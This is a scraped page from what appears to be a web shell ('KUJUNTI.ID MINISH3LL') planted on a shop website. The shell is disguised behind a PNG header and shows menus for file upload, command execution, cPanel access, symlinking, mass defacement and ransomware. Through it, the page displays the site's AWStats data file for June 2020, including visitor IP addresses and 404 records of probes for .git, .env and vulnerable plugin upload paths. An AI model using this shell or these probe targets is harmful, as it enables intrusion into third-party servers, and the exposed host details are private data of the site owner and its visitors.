\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 mahali.shop
KUJUNTI.ID MINISH3LL
Path : /home2/mahali/tmp/awstats/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /home2/mahali/tmp/awstats/awstats062020.mahali.shop.txt


AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202006 will be lost/reset.
# Last config file used to build this data file was /home2/mahali/tmp/awstats/awstats.mahali.shop.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2007                
POS_TIME 2689                
POS_VISITOR 10053               
POS_DAY 15124               
POS_DOMAIN 3475                
POS_LOGIN 3925                
POS_ROBOT 4080                
POS_WORMS 4745                
POS_EMAILSENDER 4876                
POS_EMAILRECEIVER 5019                
POS_SESSION 15837               
POS_SIDER 16048               
POS_FILETYPES 5154                
POS_DOWNLOADS 5427                
POS_OS 5475                
POS_BROWSER 5772                
POS_SCREENSIZE 7134                
POS_UNKNOWNREFERER 7208                
POS_UNKNOWNREFERERBROWSER 7689                
POS_ORIGIN 8047                
POS_SEREFERRALS 8185                
POS_PAGEREFS 8329                
POS_SEARCHWORDS 8587                
POS_KEYWORDS 8739                
POS_MISC 2353                
POS_ERRORS 8798                
POS_CLUSTER 3781                
POS_SIDER_404 8991                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20200701025231 127 38698 16828546170134
FirstTime 20200601081206
LastTime 20200630203955
LastUpdate 20200701040312 127 0 126 0 0
TotalVisits 399                 
TotalUnique 128                 
MonthHostsKnown 0                   
MonthHostsUnknown 129                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 0 0
QuickTimeSupport 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 40 64 384404 28 40 131296
1 17 33 222607 20 23 42260
2 9 25 219827 5 6 2495
3 17 25 127163 17 30 132092
4 16 16 32738 21 31 174595
5 43 148 2109450 34 38 3936
6 30 43 175203 22 27 97948
7 48 80 489001 28 31 97186
8 35 35 484868 56 58 110875
9 48 80 545363 27 35 141910
10 35 70 909710 37 39 69688
11 64 72 441632 88 91 24994
12 18 34 228514 19 22 37344
13 27 117 1930207 8 9 9591
14 27 101 1449312 13 17 45005
15 26 42 266272 19 29 160351
16 13 13 15322 54 59 96881
17 21 32 168017 31 32 47855
18 33 41 381624 22 25 38492
19 35 35 33311 32 35 14313
20 16 37 307155 36 37 40400
21 11 18 121360 23 27 34618
22 11 11 31689 7 9 2634
23 30 62 426797 17 25 23494
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 17
us 575 739 4628243
ae 45 332 4272339
gb 7 15 361709
ro 7 7 46445
de 7 15 145016
ru 7 7 260239
ma 7 72 1328954
ca 5 5 24009
sy 2 18 211140
vn 1 1 2052
nz 1 1 2052
sg 1 9 105934
ua 1 9 105206
cn 1 1 2052
nl 1 1 2052
br 1 1 2052
fr 1 1 2052
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 14
YandexBot/ 27 264639 20200627142155 7
no_user_agent 27 15322 20200630175652 0
Googlebot/ 20 216216 20200619092353 4
unknown 13 58757 20200629150403 13
bingbot/ 7 14364 20200619032538 6
bingpreview 7 102941 20200619005601 0
bot[\s_+:,\.\;\/\\-] 4 17374 20200624203719 1
Wget/ 3 19905 20200625061059 0
(firefox/)([0-9]\.|[0-1][0]\.) 3 19905 20200630184000 0
facebookexternalhit/ 2 51550 20200617045556 0
curl 2 77199 20200629012024 0
discover 1 2052 20200622103028 0
crawl 1 6635 20200608112209 1
SurdotlyBot/ 1 2052 20200617184019 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 12
woff2 2 154320 0 0
js 268 3949337 0 0
woff 19 1881284 0 0
php 380 0 0 0
gif 2 5090 0 0
png 43 364313 0 0
xml 9 9405 0 0
ttf 3 11136 0 0
html 257 2449950 0 0
jpg 1 62911 0 0
svg 1 3333 0 0
css 249 2610467 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 17
macosx10 9 9
win10 96 62
win2003 1 1
linux 24 6
macosx12 26 5
ios_iphone 140 20
linuxandroid 167 24
macosx 123 39
winlong 3 3
linuxubuntu 1 1
win7 10 10
macosx11 48 10
win8.1 3 3
winxp 15 15
Unknown 566 460
macosx8 1 1
macosx6 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 64
firefox29.0 4 4
mozilla 14 3
firefox 2 2
chrome49.0.2623.75 1 1
chrome53.0.2785.143 10 4
firefox76.0 1 1
safari13.1.1 28 4
chrome37.0.2062.117 1 1
chrome82.0.4056.0 1 1
chrome83.0.4103.106 132 14
opera36.0.2130.32 2 2
chrome73.0.3683.103 6 6
chrome11.0.696.68 1 1
msie9.0 2 2
chrome58.0.3029.110 5 5
netscape5.0 41 41
chrome80.0.3987.87 1 1
chrome75.0.3770.142 9 2
chrome45.0.2454.101 3 3
safari12.1.2 23 2
chrome80.0.3987.116 18 2
chrome76.0.3809.132 1 1
chrome52.0.2743.116 6 6
chrome80.0.3987.122 7 7
chrome16.0.912.63 1 1
safari13.1 23 4
chrome66.0.3359.139 1 1
chrome79.0.3945.130 2 2
msie7.0 1 1
chrome48.0.2564.109 2 2
chrome67.0.3396.62 1 1
chrome83.0.4103.101 96 14
msie6.0 11 11
chrome83.0.4103.97 2 2
chrome80.0.3987.132 14 6
chrome12.0.742.112 1 1
firefox33.0 1 1
chrome41.0.2228.0 1 1
chrome79.0 19 19
firefox77.0 9 1
chrome81.0.4044.113 2 2
chrome70.0.3538.77 9 9
iphone 65 9
chrome64.0.3282.167 13 13
chrome79.0.3945.136 9 1
safari 10 2
chrome10.0.648.151 1 1
chrome75.0.3770.143 9 1
netscape 3 3
chrome45.0.2454.94 1 1
safari13.0.4 9 1
chrome26.0.1410.65 1 1
chrome81.0.4044.92 9 1
chrome74.0.3729.169 19 3
Unknown 511 413
chrome81.0.4044.138 2 2
msie11.0 2 2
chrome74.0.3729.131 3 1
chrome61.0.3163.100 18 2
opera8.01 1 1
firefox40.0 1 1
safari13.0.5 18 2
msie8.0 2 2
chrome78.0.3904.108 12 12
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 9
ia_archiver 20200627071105
Go-http-client/1.1 20200619222246
Mozilla/5.0_zgrab/0.x 20200630080415
\ 20200617200418
mozilla 20200630102254
WordPress/5.4.1;_https://mahali.shop 20200613090202
Mozilla/5.0_(compatible;_Dataprovider.com) 20200629150542
WordPress/5.4.2;_https://mahali.shop 20200630203955
AppEngine-Google;_(_http://code.google.com/appengine;_appid:_s~snapchat-proxy) 20200628122123
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 6
\ 20200617200418
ia_archiver 20200627071105
Go-http-client/1.1 20200619222246
WordPress/5.4.1;_https://mahali.shop 20200613090202
AppEngine-Google;_(_http://code.google.com/appengine;_appid:_s~snapchat-proxy) 20200628122123
WordPress/5.4.2;_https://mahali.shop 20200630203955
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 248 265
From1 0 0
From2 0 0
From3 8 8
From4 414 961
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 4
http://192.185.165.158 3 3
https://l.instagram.com 2 2
https://l.instagram.com 2 2
http://l.instagram.com 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 10
409 17 1411
404 73 641165
206 1 2052
403 148 19832
302 13 0
500 13 14456
301 250 968
406 139 31414
400 2 2
405 1 42
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 24
/wp-content/plugins/simple-ads-manager/js/slider/tmpl.js 1 -
/phpmyadmin 2 -
/beta/ 1 -
/ 5 -
/wp-content/plugins/wp-symposium/server/php/index.php 1 -
/wp-content/plugins/wp-symposium/server/php/zsWsSwZHuymONF.php 1 -
/wp-content/plugins/formcraft/file-upload/server/php/upload.php 1 -
/.git/index 25 -
/.git/HEAD 3 -
/blog/.git/config 2 -
/te3/signup.php 3 -
/cluster/list.query 1 -
/bitrix/p3p.xml 1 -
/wp-content/plugins/wp-mobile-detector/cache/db.php 1 -
/administrator/ 2 -
/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/assets/js/dnd-upload-cf7.js 1 -
/telescope 2 -
/.git/config 3 -
/sitemap.xml 1 -
/bitrix/admin/ 2 http://www.mahali.shop/bitrix/admin/
/ads.txt 9 -
/admin/.env 2 -
/_debugbar/open 1 -
/mahali.shop 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 129
192.185.165.158 380 380 0 20200630203955
52.188.111.74 15 15 71575 20200621211518
94.59.161.15 14 96 1820897 20200618134743
54.209.114.139 13 14 32926 20200627071105
45.79.30.86 12 93 1755327 20200617051749
92.97.132.118 9 73 663742 20200629015920
143.215.247.111 9 9 18468 20200630071843
91.200.100.52 7 7 46445 20200629010352
105.66.6.3 7 72 1328954 20200623140859
161.69.99.11 7 7 83461 20200618091356
185.234.72.194 6 6 258187 20200629193327
165.227.52.61 5 24 384935 20200620233340
208.80.194.31 5 5 33175 20200626003218
167.99.107.115 5 24 384935 20200628105347
2.49.18.27 5 21 218024 20200628202120
192.35.168.64 4 4 8208 20200625050852
52.188.53.198 4 4 17416 20200625042127
13.85.84.239 4 4 17416 20200619173904
192.35.168.128 4 4 62838 20200626050212
208.80.194.42 4 4 26540 20200630203954
52.188.108.251 4 4 17416 20200616181956
20.188.229.83 4 4 17416 20200629095000
208.80.194.29 4 4 245124 20200630073042
158.69.26.144 3 3 19905 20200629150408
192.35.168.176 3 3 6156 20200625080414
187.94.6.21 1 1 2052 20200621011147
192.35.168.212 1 1 2052 20200625190621
192.35.168.193 2 2 4104 20200622190500
2.50.249.80 1 9 105934 20200630054000
192.35.168.246 1 1 2052 20200621191035
2.51.198.137 2 10 107986 20200630133405
142.93.67.41 1 1 2052 20200624184936
39.99.160.5 1 1 2052 20200625062319
46.4.88.156 1 9 105206 20200617144941
208.80.194.27 2 2 13270 20200625151029
35.241.153.44 1 1 6635 20200615111110
31.215.209.61 1 9 105934 20200630012415
192.35.168.241 1 1 2052 20200618190634
46.53.61.203 1 9 105206 20200623072048
35.195.198.101 1 1 6635 20200625111341
18.222.53.149 1 1 2052 20200622185153
116.14.73.225 1 9 105934 20200630090515
35.187.132.239 1 1 2052 20200628055239
45.33.11.236 2 18 210412 20200617200415
192.35.168.220 1 1 2052 20200615190735
192.35.168.160 2 2 4104 20200621095026
34.78.13.14 1 1 228972 20200618111521
34.228.23.92 1 1 2052 20200617184020
51.79.25.115 2 2 13270 20200602162614
135.181.30.134 1 1 2052 20200623110513
34.77.82.248 1 1 6635 20200619110732
54.200.200.213 1 1 2052 20200625152456
34.78.122.190 1 1 6635 20200629110406
208.80.194.41 3 3 19905 20200627083850
80.82.68.173 1 1 2052 20200623163428
18.191.226.27 1 1 2052 20200622184216
54.189.254.146 1 1 2052 20200615141728
91.73.57.190 1 9 2052 20200627065946
35.240.60.61 1 1 6635 20200623111216
18.188.255.165 2 9 107045 20200619211323
83.110.13.170 1 9 105934 20200628055332
88.99.137.13 2 2 8687 20200623025654
192.35.168.245 2 2 4104 20200623191029
192.35.168.16 3 3 6156 20200620051738
92.98.42.248 1 9 105934 20200630090139
92.98.170.178 1 9 105934 20200630072326
192.35.168.32 2 2 4104 20200624073832
113.180.239.255 1 1 2052 20200626132325
18.236.202.120 1 1 2052 20200629141009
44.234.64.88 1 1 2052 20200629140005
34.78.20.227 1 1 6635 20200620111051
23.254.36.106 1 1 6635 20200615063912
192.35.168.112 2 2 4104 20200628094227
34.221.7.251 1 1 2052 20200615142645
18.237.122.172 1 1 2052 20200628110353
35.241.135.37 1 1 6635 20200616111035
173.252.127.19 1 5 94644 20200630001646
35.241.241.144 1 1 6635 20200622110503
18.237.119.176 2 2 13270 20200615152842
94.204.26.234 1 9 105934 20200629100649
95.216.9.16 1 9 105206 20200624033255
35.233.7.96 1 1 6635 20200621110827
91.73.23.125 1 9 105934 20200621091303
64.233.172.110 1 1 2052 20200627010929
209.208.111.131 1 1 2052 20200619030905
192.35.168.144 3 3 6156 20200626080500
69.164.111.198 1 1 228972 20200618102031
34.217.137.248 2 2 13270 20200622074532
23.254.36.112 1 1 6635 20200618030004
5.1.81.241 2 2 13270 20200625050722
51.77.128.212 1 9 105206 20200629150541
67.55.66.180 1 1 2052 20200619222246
2.51.133.232 1 9 105934 20200630004336
137.226.113.8 2 2 13270 20200628004216
69.160.160.57 2 10 107258 20200628123501
18.189.171.173 1 6 88356 20200622062711
54.186.101.106 2 2 13270 20200629075354
34.209.54.25 1 1 2052 20200616110246
83.110.13.148 1 9 105206 20200621091417
98.21.5.237 1 1 6635 20200629235355
104.199.85.235 1 1 6635 20200617111540
87.200.62.23 1 9 105934 20200629000846
193.30.121.226 2 2 13270 20200627232806
51.15.25.13 2 2 234546 20200624091247
185.219.83.43 1 1 2052 20200627224129
46.53.68.247 1 9 105934 20200621100710
92.98.166.21 1 9 105934 20200630070518
173.252.127.21 0 4 10562 
159.203.81.93 1 1 2052 20200621091306
192.35.168.249 1 1 2052 20200627190843
62.210.83.78 1 1 2052 20200628083145
72.197.85.178 1 1 6635 20200626222240
134.122.97.30 1 1 71144 20200618105520
35.187.132.241 1 1 2052 20200628122123
2.50.100.192 1 6 83224 20200628204641
192.35.168.204 1 1 2052 20200624190603
2.48.79.122 1 9 105934 20200630113454
192.35.168.96 2 2 4104 20200630050208
45.66.208.120 1 1 2052 20200630140700
86.97.154.126 1 9 105934 20200630070755
192.35.168.80 3 3 6156 20200630080415
192.35.168.198 1 1 2052 20200629190518
192.35.168.243 1 1 2052 20200620190904
208.87.236.201 1 1 6635 20200630102254
208.80.194.35 2 2 13270 20200626035323
192.35.168.215 1 1 2052 20200617190828
154.51.131.142 2 2 4104 20200628201704
34.78.189.66 1 1 6635 20200624110837
34.76.156.124 1 1 6635 20200627111514
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 30
20200601 3 3 0 2
20200602 11 11 13270 6
20200603 6 6 0 5
20200604 8 8 0 6
20200605 5 5 0 4
20200606 6 6 0 5
20200607 4 4 0 3
20200608 11 11 0 5
20200609 9 9 0 7
20200610 3 3 0 3
20200611 5 5 0 4
20200612 13 13 0 6
20200613 17 17 0 6
20200614 10 10 0 6
20200615 23 23 40904 16
20200616 26 34 148204 16
20200617 46 159 2487054 26
20200618 38 120 2448240 19
20200619 35 42 178673 20
20200620 30 60 789706 20
20200621 31 68 361075 21
20200622 42 55 239777 19
20200623 39 120 1812852 24
20200624 32 40 161911 21
20200625 41 42 81065 23
20200626 33 33 67858 19
20200627 22 30 36307 17
20200628 39 95 927009 23
20200629 37 69 506295 20
20200630 45 133 1201346 27
END_DAY

# Session range - Number of visits
BEGIN_SESSION 7
30mn-1h 28
0s-30s 309
1h+ 24
15mn-30mn 17
2mn-5mn 2
30s-2mn 5
5mn-15mn 14
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 22
/wp-cron.php 380 0 197 197
/ 237 2395162 196 186
/wp-includes/wlwmanifest.xml 9 9405 0 5
/wp-content/plugins/dokan-lite/assets/ 6 9354 1 2
/wp-json/wp/v2/users/ 4 12404 0 4
/wp-content/themes/martfury/fonts/ElegantIcons.woff 3 190992 0 0
/wp-content/plugins/martfury-addons/assets/fonts/Linearicons.woff 3 1357896 0 0
/ar/home-without-ajax-%d8%a7%d9%84%d8%b9%d8%b1%d8%a8%d9%8a%d8%a9/ 3 6156 3 3
/wp-content/fonts/work-sans/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K67QBi8JoI3ZKyHaQQ.woff 3 65232 0 0
/wp-content/plugins/side-cart-woocommerce/public/css/fonts/Woo-Side-Cart.ttf 3 11136 0 0
/wp-content/fonts/work-sans/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nXBi8JoI3ZKyHaQQ.woff 3 63552 1 0
/wp-content/fonts/work-sans/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K5fQBi8JoI3ZKyHaQQ.woff 3 65196 0 0
/wp-content/themes/martfury/fonts/ionicons.woff 2 135808 0 0
/wp-content/plugins/woocommerce/assets/fonts/star.woff 2 2608 0 0
/wp-content/plugins/elementor/assets/lib/font-awesome/fonts/fontawesome-webfont.woff2 2 154320 0 0
/wp-content/plugins/dokan-lite/assets/css/ 1 3824 0 0
/wp-content/plugins/dokan-lite/ 1 2621 1 0
/wp-content/plugins/dokan-lite/assets/vendors/ 1 3190 0 1
/wp-content/plugins/dokan-lite/assets/font/ 1 1973 0 0
/feed/ 1 6635 0 1
/wp-content/plugins/dokan-lite/assets/images/ 1 4061 0 0
/wp-content/plugins/dokan-lite/assets/js/ 1 4570 0 0
END_SIDER

© KUJUNTI.ID